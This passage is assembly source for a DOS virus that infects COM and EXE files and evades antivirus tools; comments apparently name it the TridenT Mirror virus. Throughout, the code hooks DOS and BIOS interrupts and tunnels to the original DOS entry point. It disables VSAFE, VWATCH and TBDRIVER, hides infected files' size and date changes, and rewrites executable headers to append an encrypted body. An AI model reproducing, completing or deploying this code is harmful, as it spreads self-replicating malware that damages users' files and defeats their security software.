lab5:   call    killscan         ; kill VSAFE/VWATCH

        mov     ah,0eh           ; search or SDScan Novell Dos 7.0
	mov	dl,0adh
	int	DOS_N
	cmp	al,0bah
	jne	initvir

        jmp     restore_com      ; Scanner active ==> Exit

;---------------------------------------------------------------------------

dowirt: mov	ax,[bp+ds_merk]
        mov     ds,ax              ; restore     DS/ES
	mov	es,ax
        cmp     [bp+comflag],1     ; Is host a COM file ?
	je	do2

	mov	ax,es
        add     ax,[bp+cs_merk]    ; old codesegment in vector
	add	ax,16
	mov	word ptr [bp+wirt],ax
        mov     sp,[bp+sp_merk]    ; restore stack
	mov	ax,es
	add	ax,cs:[bp+ss_merk]
	add	ax,16
	mov	ss,ax
	jmp	short do3

do2:	mov	ax,cs
	mov	cs:[bp+wirt],ax
do3:    xor     ax,ax           ; Important ! All Registers have to be ZERO
	mov	bx,ax
	mov	cx,ax
	mov	dx,ax
	mov	si,ax
	mov	di,ax
	sti

        jmp     dword ptr cs:[bp+ip_merk] ; jump to host

;---- Allocate memory for virus      --------------------------------------

initvir: mov    ax,[bp+ds_merk]     ; free memory
        mov     es,ax               ; start segment to ES
        mov     bx,[bp+min_mem]     ; amount needed for virus
        mov     ah,4ah              ; change memory allocation
	int	DOS_N
	jae	init11
	jmp	restore_com

init11: push	cs
	pop	es
        mov     byte ptr [bp+notarn],0    ; enable  stealth functions
	mov	byte ptr [bp+virtod],0

;--- get free block in the TOM     -----------------

        mov     ax,5800h            ; get allocation strategy
	int	DOS_N
        mov     [bp+mem_strat],ax   ; und store it

        mov     ax,5802h            ; get UMB Status
        int     DOS_N               ; DOS<5.0 C=1,AX=1
	jae	init1
	jmp	restore_com

init1:  mov     [bp+umb_strat],al   ; store it

        mov     ax,5801h             ; set new strategy
        mov     bx,0000000000000010b ; Last Block, search in TPA only
        int     DOS_N
        mov     ax,5803h             ; disable usage of UMB
	mov	bx,0
	int	DOS_N
        mov     bx,(((virende-start+100) shr 4) +33) ; Virus in Paragr.
                                     ; + place to store Trojan
        mov     ah,48h               ; allocate RAM for virus
	int	DOS_N
	jc	resetall
        push    ax                   ; store allocated segment
	dec	ax
        mov     es,ax                ; ES to MCB of alloc. memory
	inc	ax

	mov	word ptr es:[0],"Z"
        mov     word ptr es:[1],8    ; make us resident as part of DOS


        mov     ax,3521h            ; get old INT 21h
	int	DOS_N
	mov	word ptr [bp+int21alt],bx
	mov	word ptr [bp+int21alt+2],es

        mov     word ptr [bp+OrgDos],bx  ; if tracer failed :(
	mov	word ptr [bp+OrgDos+2],es

        call    TunnelIt            ; trace the INT 21h vector
        cmp     ax,0ffh             ; have we found the vector ?
	je	notun

        mov     word ptr [bp+OrgDos+2],es ; store the new entry
	mov	word ptr [bp+OrgDos],ax

notun:  mov     ax,3513h            ; get old BIOS interrupt 13h
	int	DOS_N
	mov	word ptr [bp+int13alt],bx
	mov	word ptr [bp+int13alt+2],es

        pop     es                  ; get back virus-segment
	push	es
	mov	si,offset start
	add	si,bp
	mov	di,100h
	mov	cx,offset (virende-start)
        rep     movsb               ; Copy the virus to TOM

        mov     dx,offset int21     ; hook INT21h to virus handler
        mov     ax,2521h
        pop     ds                  ; get back virus segment
	int	DOS_N

        mov     dx,offset int13     ; hook BIOS-Interrupt to virus handler
        mov     ax,2513h
	int	DOS_N

resetall: push	cs
	  pop	ds

          push  [bp+ds_merk]        ; restore memory allocation
	  pop	es
	  mov	bx,0ffffh
	  mov	ah,4ah
	  int	DOS_N
	  mov	ah,4ah
	  int	DOS_N

          mov   bl,[bp+umb_strat]  ; restore old UMB strategy
          xor   bh,bh
          mov   ax,5803h
          int   DOS_N

	  mov	bx,[bp+mem_strat]  ; Alte Strategie zur?ck
	  mov	ax,5801h
	  int	DOS_N

; restore orinal JUMP to host

restore_com:  cmp   [bp+comflag],1    ; is it a COM file ?
	  jne	initende

          mov  di,[bp+ip_merk]    ; build up traget adress

          mov  si,offset combytes ; restore original bytes to host
          add  si,bp              ; only necessary if .com - EXE has a direct
          mov  cx,sprbef          ; vector.
	  rep  movsb

initende: jmp dowirt

; --------- Kill VSAFE and VWATCH and TBDRIVER -------------------
; you can use this function from the resident part of virus too

killscan proc near

	  push	es
	  push	ax
	  push	bx
	  push	cx
	  push	dx
	  push	si
	  push	di

          mov  ax,0fa00h        ; Vsafe resident ?
	  mov  dx,5945h
	  int  16h
          cmp  di,4559h
	  jne  ks1

	  mov  ax,0fa02h
	  mov  dx,5945h
	  mov  bl,0
          int  16h              ; get old flags to CL

          and  cl,23            ; disable only parts of scanner
          mov  bl,cl            ; because the full deinstallation causes
          mov  ax,0fa02h        ; warnings
	  mov  dx,5945h
	  int  16h

ks1:	  push ds
	  xor  ax,ax
	  mov  ds,ax
          les  si,ds:[21h*4]    ; get INT 21h handler
	  pop  ds
          mov  ax,word ptr es:[si] ; get first two instructions of INT 21h
	  cmp  ax,05ebh 	   ; Is it that fucking TBDRIVER ?
	  jne  ks2
	  mov  word ptr es:[si],9090h ; Bomb it out of memory  !!!

          ; This works because there is a far-jump to DOS directly behind
          ; the near jump to the scanner

ks2:	  pop  di
	  pop  si
	  pop  dx
	  pop  cx
	  pop  bx
	  pop  ax
	  pop  es
	  ret

killscan endp

;**************************************************************************
;***             INT 21h Tracer to locate the entry of DOS              ***
;*** Setting up some parameters for the tracing routine                 ***
;**************************************************************************

; INPUT : none
; OUTPUT : Original-DOS-vektor in ES:AX

Tunnelit PROC NEAR

        mov     ah, 52h                 ; get the DIB adresse
	int	DOS_N
	jc	tuend
        mov     ax,es:[bx-2]            ; vector to first MCB -> ES:AX
        mov     word ptr [bp+dos_seg],ax ; here is the DOS segment

	xor	ax,ax			; ES=0
	mov	es,ax
        les     ax, es:[1*4]            ; store original INT 1
	mov	word ptr [bp+oldint1], ax
	mov	word ptr [bp+oldint1+2], es

	mov	cs:[bp+sflag],0
        mov     word ptr cs:[bp+deltaoff],bp ; set up delta offset

	cli
        xor     ax,ax                   ; hook INT 1 to tracer
	mov	es,ax
        mov     bx,offset int1          ; delta Offset!
	add	bx,bp
	mov	word ptr es:[1*4],bx
	mov	es:[1*4+2],cs
	sti

        pushf                           ; enable single step
        pop     ax                      ; by setting the T-Flag
	or	ah,1
	push	ax
	popf

        mov     ah,0bh                  ; get keyboardstatus to find
        cli                             ; the entry
	pushf
	call dword ptr cs:[bp+int21alt]

        pushf                           ; single step off
        pop     ax                      ; AX=FF if tracer failed
	and	ax,0feffh
	push	ax
	popf

        cli                             ; restore old Int 1
	push	ds
	xor	ax,ax
	mov	ds,ax
        les     ax, cs:[bp+oldint1]
	mov	word ptr ds:[1*4], ax
	mov	word ptr ds:[1*4+2], es
	pop	ds
	sti

        cmp     [bp+sflag],1            ; was tracing successful ?
        jne     nosuccess

	mov	ax,word ptr [bp+oldint21+2]
	mov	es,ax
	mov	ax,word ptr [bp+oldint21]

tuend:	ret

nosuccess: mov  ax,0ffh                 ; nope, we have no entry :(

	jmp short tuend

oldint1 	dd ?
oldint21	dd ?
sflag		db 0
dos_seg 	dw ?

Tunnelit ENDP

;**************************************************************************
;***             Single Step interrupt routine                          ***
;*** Tries to find the original entry of the DOS to fool reesident      ***
;*** scanners                                                           ***
;**************************************************************************

int1	PROC FAR

	push	bp
	mov	bp,sp
	push	ax
	push	si
	db	0BEh		 ; mov si, deltaoff
deltaoff dw (?)
        mov     ax, [bp+4]       ; get segment of return adress
        cmp     ax,cs:[si+dos_seg] ; is it in the DOS segement ?
        jbe     foundit

ex_int1:pop	si
	pop	ax
	pop	bp
	iret

foundit:                         ; yes, we've found the entry
        mov     word ptr cs:[si+OldInt21+2],ax  ; store segment (bp+4)
	mov	ax,[bp+2]
        mov     word ptr cs:[si+OldInt21],ax    ; store offset
	mov	cs:[si+sflag],1
        and     word ptr [bp+6], 0FEFFh         ; Tracing off
	jmp	short ex_int1

INT1 ENDP

;****************************************************************************
;****			      Interrupt  21 Handler			 ****
;****************************************************************************


;--- Variables :

psp       equ 0                    ; ununsed PSP for buffer

; --- Interruptvektors ---

crbreak   dd (?)                   ; Old Critical-Error-INT
int21alt  dd (?)                   ; Old Dos-Interrupt
int13alt  dd (?)                   ; Old BIOS-Interrupt
OrgDos    dd (?)                   ; Original-DOS-Interrupt

; --- Variables ---

nam_off   dw (?)                   ; filename offset
nam_seg   dw (?)                   ; filename segment
dtaseg    dw (?)                   ; segment of DTA
dtaoff    dw (?)                   ; offset of DTA
d_datum   dw (?)                   ; file date
d_zeit    dw (?)                   ; time of last change
d_attrib  dw (?)                   ; old files attributes
handle    dw (?)                   ; file handle
ret_off   dw (?)

; --- Flags ---

internal  db 0                     ; indicates internal usage of routines
flag      db 0                     ; allround flag
virtod    db 0                     ; 1=Virus is disabled
notarn    db 0                     ; 1=Stealth functions disabled


comsuff   db "*.com",0

;----------------------------------------------------------------------------

cint      proc far                 ; Critical-Error-INT
                                   ; to prevent virus from generating errors
          sti                      ; during access on write proteted disks
          mov  al,3
          iret

cint	  endp

;----------------------------------------------------------------------------

int21     PROC  FAR                ; new INT 21 handler

	  IF STEALTH
	  cmp	ah,4bh		   ; Exec-Interrupt  ?
          jne   check_stealth      ; no, let's check stealth

	  ELSE
	  cmp ah,4bh
	  jne aus2
	  ENDIF

is_exec:  cmp   al,0f0h            ; virus self check
	  je	rescheck
          cmp   al,05h             ; ignore special exec functions
	  je	aus2
	  cmp	al,03h
	  je	aus2

          mov cs:[internal],0      ; internal usage of INT 21 handler
          jmp   exec               ; yeah, it's the exec function

rescheck:  mov   di,itsme          ; its me -> return to caller
          iret

aus2:    jmp   cs:[int21alt]       ; jump to original INT 21h


;=== Handler for stealth functions of INT 21h ====================

	  IF STEALTH

check_stealth:
          cmp   cs:[virtod],1      ; Ist Virus disabled ?
	  je	aus
          cmp   cs:[notarn],1      ; Is Stealth shield disabled ?
	  je	aus

	  cmp	ah,4eh		   ; Find-First (Handle) ?
	  jne	chk_hdl
	  jmp	ff_hdl

chk_hdl:  cmp	ah,4fh		   ; Find-Next (Handle) ?
	  jne	chk_fcb
	  jmp	ff_hdl

chk_fcb:  cmp	ah,11h		   ; Find-First (FCB) ?
	  je	firstnext
	  cmp	ah,12h		   ; Find-Next (FCB) ?
	  je	firstnext

          jmp   short holdat       ; no, continue check

; ---- date/time fooling              ---------------------------------------

holdat: cmp   ax,5700h           ; is someone asking on date/time of afile?
	jne   schieb_zeiger
	jmp   deal_dat

schieb_zeiger:                   ; maybe a movement of file pointer?

	cmp	ah,42h
	jne	read_3f
	jmp	deal_zeiger

read_3f:                         ; a file read function ?
	cmp  ah,3fh
	jne  aus
	jmp  deal_read

aus:    jmp   cs:[int21alt]      ; jump to old interrupt

	ENDIF

int21 endp

;------------------------ Handler-Bodies --------------------------------------------------

	  IF STEALTH

ff_hdl  proc near             ; handle find-first-next (handle)

        pushf                 ; call function first
        call cs:[int21alt]

        jc   ngef             ; any files found ?
	jmp  short findfn1
ngef:	retf  2

findfn1: call pushall             ; save all registers

        mov  ah,2fh               ; get DTA adress to ES:BX
        int  DOS_N
        mov  ax,es:[bx+18h]        ; get date of file
        and  ax,1111111000000000b  ; mask out the month
	mov  cl,9
	shr  ax,cl
        cmp  ax,90d               ; compare with 90
        jna  findfnende           ; year < 90 -> file is clean

        sub  word ptr es:[bx+26],(virende-start) ; shrink filelength
	sbb  word ptr es:[bx+28],0

        sub  word ptr es:[bx+18h],1100100000000000b ; date=date-100 years

findfnende: call popall

	retf 2

ff_hdl	   endp

;---------------------------------------------------------------------------

firstnext proc near               ; handle the fcb functions

          pushf                   ; call function
	  call	cs:[int21alt]

	  call pushall
          cmp  al,255             ; any files found ?
	  jne  continue
          jmp  short fcbende      ; no, then exit

continue: mov  ah,2fh             ; get DTA adress to ES:BX
          int  DOS_N

          cmp  byte ptr es:[bx],255 ; is it a large FCB ?
	  je   erwfcb

          mov  si,19h              ; date entry (secret DOS)
          mov  di,1dh              ; filelength (secret DOS)
	  jmp  short normfcb

erwfcb:   mov  si,20h              ; date entry (secret DOS)
          mov  di,24h              ; filelength

normfcb:  mov  ax,es:[bx+si]       ; get file and date stamps
          and  ax,1111111000000000b ; mask out the month
	  mov  cl,9
	  shr  ax,cl
          cmp  ax,90d              ; compare with 90
          jna  fcbende             ; year < 90 -> file is clean

          sub  word ptr es:[bx+di],(virende-start) ; change date/length
	  sbb  word ptr es:[bx+di+2],0

	  sub  word ptr es:[bx+di-7],(virende-start)
	  sbb  word ptr es:[bx+di-7+2],0
          sub  word ptr es:[bx+si],1100100000000000b

fcbende:  call popall

	  retf 2

firstnext endp

;----------------------------------------------------------------------------

deal_dat  proc near

	pushf
	call  cs:[int21alt]

        pushf                    ; don't save DX, it holds the date
        push  ax
	push  cx

	mov  ax,dx
        and  ax,1111111000000000b ; mask out month
	mov  cl,9
	shr  ax,cl
        cmp  ax,90               ; compare with 90 years
        jna  deal_datende          ; year<90 -> file is clean

        sub  dx,1100100000000000b ; subtract 100 years

deal_datende:
	pop  cx
	pop  ax
	popf

	retf 2
deal_dat  endp

;---------------------------------------------------------------------------

; Don't let the file pointer hit the virus

deal_zeiger proc near

        cmp     al,02h              ; handle funktion 2 only
	jne	zg_do_function
	or	cx,dx
	jne	zg_do_function

        call    pruefinf            ; file infected ?
	jae	zg_do_function

	mov	cx,0ffffh
        mov     dx,-(virende-start)  ; subtract virus size
	pushf
	call	cs:[int21alt]

        retf 2                       ; and exit

zg_do_function:
	jmp cs:[int21alt]

deal_zeiger endp

; ---------------------------------------------------------------------------
; funktion deal_read: Filters the virus on file access. The memory image is
; clean. Virus contains the original header bytes at his end.

rd_handle       dw (?)            ; file handle
rd_bytes        dw (?)            ; amount of bytes to read

rd_aktpos_lo    dw (?)           ; actual file pointer position
rd_aktpos_hi	dw (?)
rd_endpos_lo	dw (?)
rd_endpos_hi	dw (?)
rd_virpos_lo	dw (?)
rd_virpos_hi	dw (?)
rd_es_merk	dw (?)
rd_ds_merk	dw (?)
rd_funktion	dw (?)
rd_error_msg	dw (?)
rd_puffer_off	dw (?)
rd_bytes_read	dw (?)

deal_read proc near

        cmp     bx,5                ; Ist es file handle or a device ?
	jae	dlrd1
	jmp	do_read2

dlrd1:
        call    pruefinf           ; is file infected ?
	jae	 do_read2

	mov	cs:[rd_ds_merk],ds
	push	cs
	pop	ds
	mov	[rd_funktion],ax
	mov	[rd_handle],bx
	mov	[rd_bytes],cx
	mov	[rd_puffer_off],dx
	mov	[rd_es_merk],es
	jmp	dlrd2

; restore all regs and do the read
do_read0:  mov     cx,cs:[rd_bytes]   ; restore old CX

; restore all regs exept for cx and do the read
do_read1:
	 mov	 bx,cs:[rd_handle]
	 mov	 dx,cs:[rd_puffer_off]
	 mov	 ax,cs:[rd_es_merk]
	 mov	 es,ax
	 mov	 ax,cs:[rd_ds_merk]
	 mov	 ds,ax
	 mov	 ax,cs:[rd_funktion]

; don't restore regs and do the read
do_read2: jmp	   cs:[int21alt]

; return to caller with restored regs exept for ax
do_ret1:
	mov	cx,cs:[rd_bytes]
        mov     dx,cs:[rd_puffer_off]
	mov	bx,cs:[rd_es_merk]
	mov	es,bx
	mov	bx,cs:[rd_ds_merk]
	mov	ds,bx
	mov	bx,cs:[rd_handle]

;return to caller without restored regs
do_ret2:
	retf	2

dlrd2:  mov     ax,4201h           ; get file pointer position
	xor	cx,cx
	xor	dx,dx
	pushf
	call	cs:[int21alt]
	jc	do_read0

        mov     [rd_aktpos_lo],ax  ; store it
	mov	[rd_aktpos_hi],dx

        add     ax,[rd_bytes]      ; calc endposition of file pointer
	adc	dx,0
	mov	[rd_endpos_lo],ax
	mov	[rd_endpos_hi],dx

        mov     ax,4202h            ; get original filesize
	xor	cx,cx
	xor	dx,dx
	pushf
        call    cs:[int21alt]

	sub	ax,(virende-start)
	sbb	dx,0
        mov     [rd_virpos_lo],ax   ; store the original size
	mov	[rd_virpos_hi],dx

	mov	ax,4200h
	mov	cx,[rd_aktpos_hi]
	mov	dx,[rd_aktpos_lo]
	pushf
	call	cs:[int21alt]

	jae	rdmk1
	jmp	do_read0

; Now we have to make a few decisions where the pointer is and what
; to do that he does not hit the virus body

rdmk1:	mov	ax,[rd_aktpos_lo]    ; aktpos < 1dh
	cmp	ax,1dh

        jb      fall_1               ; pointer is in the header -> case 1

	mov	bx,[rd_aktpos_hi]    ; aktpos < virpos ?
	les	cx,dword ptr [rd_virpos_lo]
        mov     dx,es                ; DX:CX = aktpos
	call	comp_32bit
        jb      fall_2               ; pointer is in the host -> case 2

        jmp     fall_3               ; pointer is in the virus -> case 3


; more decisions........

fall_1: ;--- pointer is in the header ----

        les     ax,dword ptr [rd_endpos_lo]; Endpos in header(endpos<1dh) ?
	mov	bx,es			; BX:AX = Endpos
	xor	dx,dx
	mov	cx,1dh
        call    comp_32bit             ; caller is going to....
        jb      fall_11                ; read header only

	les	cx,dword ptr [rd_virpos_lo]
	mov	dx,es			; DX:CX = Virpos
	call	comp_32bit
        jb      fall_12                ; read header-host

        jmp     fall_13                ; read header-host-virus

fall_2: ; -- pointer is in the host ----

	les	ax,dword ptr [rd_endpos_lo] ; Endpos < Virpos ?
	mov	bx,es			; BX:AX = end_pos
        les     cx,dword ptr [rd_virpos_lo]
        mov     dx,es
	call	comp_32bit
        jb      hilf1                   ; end position is in the host
        jmp     fall_22                 ; endposition is in the virus
hilf1:	jmp	fall_21

fall_3: ; --- pointer is in the virus ----

        mov     ax,0                    ; return with zero bytes to caller
	clc
        jmp     do_ret1

        ; --- actions according to th 6 cases above

fall_11: ; --- caller is trying to read to header -----

        mov     dx,1ch                ; how many bytes to read ?
        sub     dx,[rd_aktpos_lo]
	push	dx
        neg     dx                    ; negative offset
	mov	cx,0ffffh
	mov	al,02h
        call    set_pos               ; set pointer to corresponding byte
                                      ; at the end of the virus where the
                                      ; original bytes are stored

        mov     dx,[rd_puffer_off]   ; read the original bytes from there
	mov	cx,[rd_bytes]
	mov	bx,[rd_handle]
	mov	ah,3fh
        push    [rd_ds_merk]         ; set DS to readbuffer
	pop	ds
	pushf
	call	cs:[int21alt]

	push	cs
	pop	ds
	mov	cx,[rd_endpos_hi]
	mov	dx,[rd_endpos_lo]
	mov	al,0
        call    set_pos              ; correct the pointer position

	jmp	do_ret1

fall_12: ; --- caller is trying to read header+host ---

	mov	cx,[rd_bytes]
cross:  mov     bx,[rd_handle]       ; call read function
	mov	dx,[rd_puffer_off]
	push	[rd_ds_merk]
	pop	ds
	mov	ah,3fh
	pushf
	call	cs:[int21alt]
	jae	f121
	jmp	do_ret1

f121:   push    cs                   ; DS=CS
	pop	ds

        mov     [rd_bytes_read],ax   ; store readed bytes

        mov     dx,1ch                ; how many bytes from the header should
        sub     dx,[rd_aktpos_lo]     ; have been read ?
	push	dx
        neg     dx                    ; negative offset
	mov	cx,0ffffh
	mov	al,02h
        call    set_pos               ; set pointer to correcpondig bytes
        jae     fall_12h1             ; behind the virus
        pop     cx                    ; restore stack
        jmp     reset_point           ; restore file point and exit

fall_12h1:
        pop     cx                      ; cx=ax (numer of bytes to read)
	push	[rd_ds_merk]
        pop     ax                      ; get buffer segment
        mov     dx,[rd_puffer_off]      ; increase memory pointer
	add	dx,[rd_aktpos_lo]
        adc     ax,0                    ; take care of the carry flag
	mov	ds,ax
	mov	bx,cs:[rd_handle]
	mov	ah,3fh
	pushf
        call    cs:[int21alt]           ; read original header
	jae	fall_12h2
	jmp	reset_point

fall_12h2:
	push	cs
	pop	ds

        mov     cx,[rd_aktpos_hi]       ; set pointer to new position
	mov	dx,[rd_aktpos_lo]
	add	dx,[rd_bytes_read]
	adc	cx,0
	xor	al,al
	call	set_pos
	mov	ax,[rd_bytes_read]
	jmp	do_ret1

fall_13: ; --- caller is trying to read header+host+virus

        mov     ax,[rd_virpos_lo]    ; subtract virus bytes
	sub	ax,[rd_aktpos_lo]

	mov	cx,ax
        jmp     cross                ; restore original cx

fall_21: ; --- caller is trying to read the host

        jmp     do_read0             ; no action necessary

fall_22: ; --- caller is trying to read host+virus

        mov     cx,[rd_virpos_lo]     ; subtract virus bytes
        sub     cx,[rd_aktpos_lo]
	push	cx
        mov     bx,[rd_handle]        ; do the read function
	mov	dx,[rd_puffer_off]
	mov	ah,3fh
	push	[rd_ds_merk]
	pop	ds
	pushf
	call	cs:[int21alt]
	pop	cx
        jmp     do_ret2

; Compare two 32bit numbers
; INPUT   no  1: BX:AX
;         no  2: DX:CX
; Ausgabe:
;         no  1=no  2   : ZF=1
;         no  1>no  2   : CF=0,ZF=0
;         no  1<no  2   : CF=1

comp_32bit:

        cmp     bx,dx           ; compare hi words
        ja      comp_16end      ; no  1 > no  2
        jb      comp_16end      ; no  1 < no  2
        cmp     ax,cx           ; HI-Words eqaul -> compare low-words
        ja      comp_16end      ; no  1 > no  2
        jb      comp_16end      ; no  2 < no  2
                                ; else  no  1 = no  2
comp_16end:
	 ret

; restores the original file pointer position and leaves the routine
; with error 'read 0 bytes'

reset_point:
	mov	dx,cs:[rd_aktpos_lo]
	mov	cx,cs:[rd_aktpos_hi]
	xor	al,al
	call	set_pos
	xor	ax,ax
	clc
	jmp	do_ret1

; Routine to change pointer position
; INPUT  :      al=offset-code
;               cx:dx = new position

set_pos:
	push	ax
	push	bx
	push	dx

	mov	ah,42h
	mov	bx,cs:[rd_handle]
	pushf
	call	cs:[int21alt]

	pop	dx
	pop	bx
	pop	ax

	ret

deal_read endp

	ENDIF

;===========================================================================

INT13     PROC FAR                  ; INT 13h Handler

orgint:   jmp cs:[int13alt]

INT13 ENDP

; *************************************************************************
; *** new function 4ch of int 21                                        ***
; *************************************************************************

exec      proc near                ; handle an exec call
                                   ; DS:DX pointer to filename
	  call pushall

          mov  cs:[internal],0     ; indicates call by foreign program
          mov  cs:[notarn],0       ; stealth on

          call killscan            ; kill scanners
	  jmp  short exe0

exec1:    call pushall             ; entry for internal usage
          mov  cs:[internal],1     ; DS:DX pointer to filename

exe0:     mov   cs:[nam_off],dx    ; store filename offset
          mov   cs:[nam_seg],ds    ; and segment

          mov   cs:[flag],0        ; reset infection flag

	  push	ds
	  push	dx
          call discrit             ; disable error handler
exe01:	  pop	dx
	  pop	ds

          mov   ax,4300h           ; get file attributes
          int   DOS_N
	  jae	exe1
          jmp   exeaus2            ; exit on error

exe1:     mov   cs:[d_attrib],cx   ; store attributes
          test  cx,100b            ; is it a system file  ?
	  je	exe2
          jmp   exeaus2            ; yes? do not infect it

exe2:     mov   ax,4301h           ; disable read-only attributes
	  and	cx,1111111111111110b
	  pushf
	  call cs:[int21alt]
	  jae	exe3
	  jmp	exeaus

exe3:     call fuck_scanner        ; fuck scanner

          mov   ax,3d00h            ; open file with read-only
	  pushf
          call cs:[int21alt]        ; ds:dx filename
          jae   exe4                ; access denied -> exit
	  jmp	exeaus

exe4:     mov   bx,ax               ; store handle in bx

          push  cs                  ; DS=CS
	  pop	ds

	  mov	[handle],bx
	  push	bx
          mov   ax,1220h        ; get the sft table
          int   2fh
          mov   al,es:[di]      ; necessary because scanners locate
          mov   bl,al           ; the TridenT Mirror virus in memory
          mov   ax,1216h
	  int	2fh
	  pop	bx
	  jae	exe41
	  jmp	fehler

exe41:    mov   word ptr es:[di+2],2 ; set file to read/write access

          call  pruefinf        ; is file infected ?
          jae   exe5
	  jmp	fehler

exe5:     mov   dx,psp          ; read the original header to psp
          mov   cx,1ch
	  mov	ah,3fh
	  int	DOS_N
	  jc	fehler

          mov   si,dx                ; copy original header behind virus
          mov   cx,1ch               ; for later memory stealth
	  mov	di,offset orig_exehead
	  push	cs
	  pop	es
	  rep	movsb

          mov   ax,4202h            ; get the filesize by setting the
          xor   cx,cx               ; pointer to end of file
	  xor	dx,dx
	  pushf
	  call cs:[int21alt]
	  jae	exe6
          jmp   short fehler        ; exit on error

exe6:     mov   [org_filelng_lo],ax      ; store lo-word o file length
          mov   [org_filelng_hi],dx      ; hi-word also

exe8:   cmp   word ptr cs:[psp],5a4dh ; is it an exe file or a .com ?
        jne   exe9
exe80:  call  infektexe           ; infect .exe
        jmp   short fehler        ; exit on error

exe9:   cmp   [org_filelng_lo],62000  ; .com > 62000  ? -> exit
        ja    fehler

        call  infektcom           ; infect com file

;---------------------------------------------------------------

fehler:   call reset_status        ; reset file attributes
          mov   ah,3eh             ; close file
          pushf
	  call	cs:[OrgDos]

exeaus:   call reset_attrib

exeaus2:  call encrit              ; enable error handler

exeaus3:  cmp  cs:[internal],1     ; internal use ?
	  je   rtocaller
	  call popall

          jmp  cs:[int21alt]         ; execute program

rtocaller: mov cs:[internal],0
	   call popall
           ret                     ; back to caller (virus)

exec	  ENDP

;---------------------------------------------------------------------------

reset_status PROC NEAR  ; reset original file and date stamps

; [Flag]=1 == > increase date by 100 years
; file has to be openend

          mov   ax,5701h            ; restore date/time
	  mov	bx,[handle]
	  mov	cx,[d_zeit]
	  mov	dx,[d_datum]
          cmp   [flag],1            ; has infection took place ?
	  jne	fe1
          add   dx,1100100000000000b ; add 100 years
fe1:	  pushf
	  call cs:[OrgDos]
	  ret

reset_status ENDP

;---------------------------------------------------------------------------
reset_attrib PROC NEAR          ; restore original file attibutes

	  mov	cx,[d_attrib]
	  mov	ax,4301h
	  mov	dx,[nam_off]
          mov   bx,[nam_seg]   ; DS:DX pointer to filename
	  push	bx
	  pop	ds
	  pushf
	  call	cs:[OrgDos]
	  ret

reset_attrib ENDP

;---------------------------------------------------------------------------

infektcom  proc near                ; infect com file

	   IF COMPERMIS

           mov ax, word ptr cs:[psp+2] ; is it a device driver ?
	   cmp ah,0ffh
           je infektende               ; exit if so.
	   cmp al,0ffh
	   je infektende

           ;--- calc new entry ----------------------------

           mov  bx,[org_filelng_lo]
	   sub	bx,3h
	   mov	word ptr [com_vek+1],bx

           ;--- write new entry -------------------------

           mov  ax,4200h            ; set file pointer to first byte
	   mov	bx,cs:[handle]
	   xor	dx,dx
	   xor	cx,cx

	   pushf
	   call cs:[OrgDos]
	   jc	 infektende

           mov   ah,40h             ; write new entry
           mov   cx,3               ; 3 bytes
	   mov	 dx,offset com_vek
	   pushf
	   call cs:[OrgDos]
	   jc	 infektende

           mov   ax,4202h           ; set pointer to end of file
           xor   dx,dx
	   xor	 cx,cx

	   pushf
	   call cs:[OrgDos]
	   jc	 infektende

           mov   [ip_merk],100h     ; store IP
           mov   [comflag],1        ; flag indicates COM file

           mov   ax,word ptr cs:[psp] ; store original bytes
	   mov	 word ptr [combytes],ax
	   mov	 al,byte ptr cs:[psp+2]
	   mov	 byte ptr [combytes+2],al

           mov   [min_mem],4096     ; minimum amount of memory for a com file

	   mov	 ax,[org_filelng_lo]
	   add	 ax,offset vircode
	   mov	 word ptr [kenn1+1],ax

	   call kodier
           mov  [flag],1            ; file was successfully infected

	   ENDIF

infektende: ret

infektcom     endp

;----------------------------------------------------------------------------

infektexe  proc near                 ; infect exe file  (uff, very difficult)

	   IF EXEPERMIS

	   push cs
	   pop	es

	   mov	 si,offset psp


kompr:     cmp  word ptr [si+segtab],1  ; is it a compressed or selfchecking
           ja   checkwin                ; file ?
           ret                          ; exit if so.

checkwin:  cmp byte ptr [si+18h],40h    ; is it a new exe header ?
           jne checkovl                 ; forget it!
	   ret

checkovl:  cmp byte ptr [si+ovl_no],0   ; no overlays please !
	   je checklng
	   ret

checklng:  mov   dx,[org_filelng_hi]    ; check for internal overlays
           mov   ax,[org_filelng_lo]
	   call  divide
           inc   ax                     ; add 512 bytes

           cmp   ax,[si+div512]         ; compare only hi-byte
	   je	 go
	   ret

go:        mov   ax,word ptr [si+cs_pos] ; store CS
	   mov	 [cs_merk],ax
           mov   ax,word ptr [si+ss_pos] ; store SS
	   mov	 [ss_merk],ax
           mov   ax,word ptr [si+sp_pos] ; store SP
	   mov	 [sp_merk],ax
           mov   ax,word ptr [si+ip_pos] ; and IP
	   mov	 [ip_merk],ax

           mov   dx,[org_filelng_hi]     ; filesize  to   DX:AX
           mov   ax,[org_filelng_lo]     ; calc new CS and SS

           mov   bx,[si+hdl_pos]        ; calc header size in bytes
	   mov	 cl,4
	   shl	 bx,cl

           sub   ax,bx                  ; subtract header size from filesize
           sbb   dx,0                   ; -> DX:AX

           mov   bx,ax                  ; calc new IP
           and   bx,0000000000001111b  ; Lo-nibble is offset of IP
	   mov	 [si+ip_pos],bx

           mov   cx,4                  ; filesize -> pararaphs
divide0:   sar	 dx,1
	   rcr	 ax,1
           loop  divide0               ; result in AX

           mov   [si+ss_pos],ax        ; set new SS
           mov   [si+cs_pos],ax        ; SS=CS

           mov  [min_mem],ax           ; set up amount of memory for virus

           mov   word ptr [si+sp_pos],((virende-start)+100h) ; set SP

ramok:     mov  ax,[org_filelng_lo]   ; fix filesize int header
	   mov	dx,[org_filelng_hi]
           add  ax,(virende-start+512)  ; add virus + 512
	   adc	dx,0

	   call divide
	   mov	word ptr [si+mod512],bx
	   mov	word ptr [si+div512],ax

           xor  cx,cx                   ; set file pointer to header
	   mov	dx,0
	   mov	bx,[handle]
	   mov	ax,4200h
	   int	DOS_N
	   jc	exeinfende

           mov  ah,40h                 ; write new values in header
           mov  cx,1ch
	   mov	dx,offset psp
	   pushf
	   call cs:[int21alt]
	   jc	exeinfende

           mov   ax,4202h            ; file pointer to end of file
           xor   dx,dx
	   xor	 cx,cx
	   int	 DOS_N
	   jc	 exeinfende

           mov   [comflag],0         ; host is an exe file

	   mov	 ax,[si+ip_pos]
	   add	 ax,(offset vircode -100h)
           mov   word ptr [kenn1+1],ax ; set up new delta offset

           call  kodier              ; encrypt virus and write it to host

           mov   [flag],1            ; infection successful

	   ENDIF

exeinfende: ret

infektexe   endp

;---------------------------------------------------------------------------
; disable critical error handler to avoid write errors on write-protected
; disks

discrit proc near

	call	pushall
	push	cs
	pop	ds

        mov     ax,3524h            ; get old INT 24h
        int     DOS_N               ;
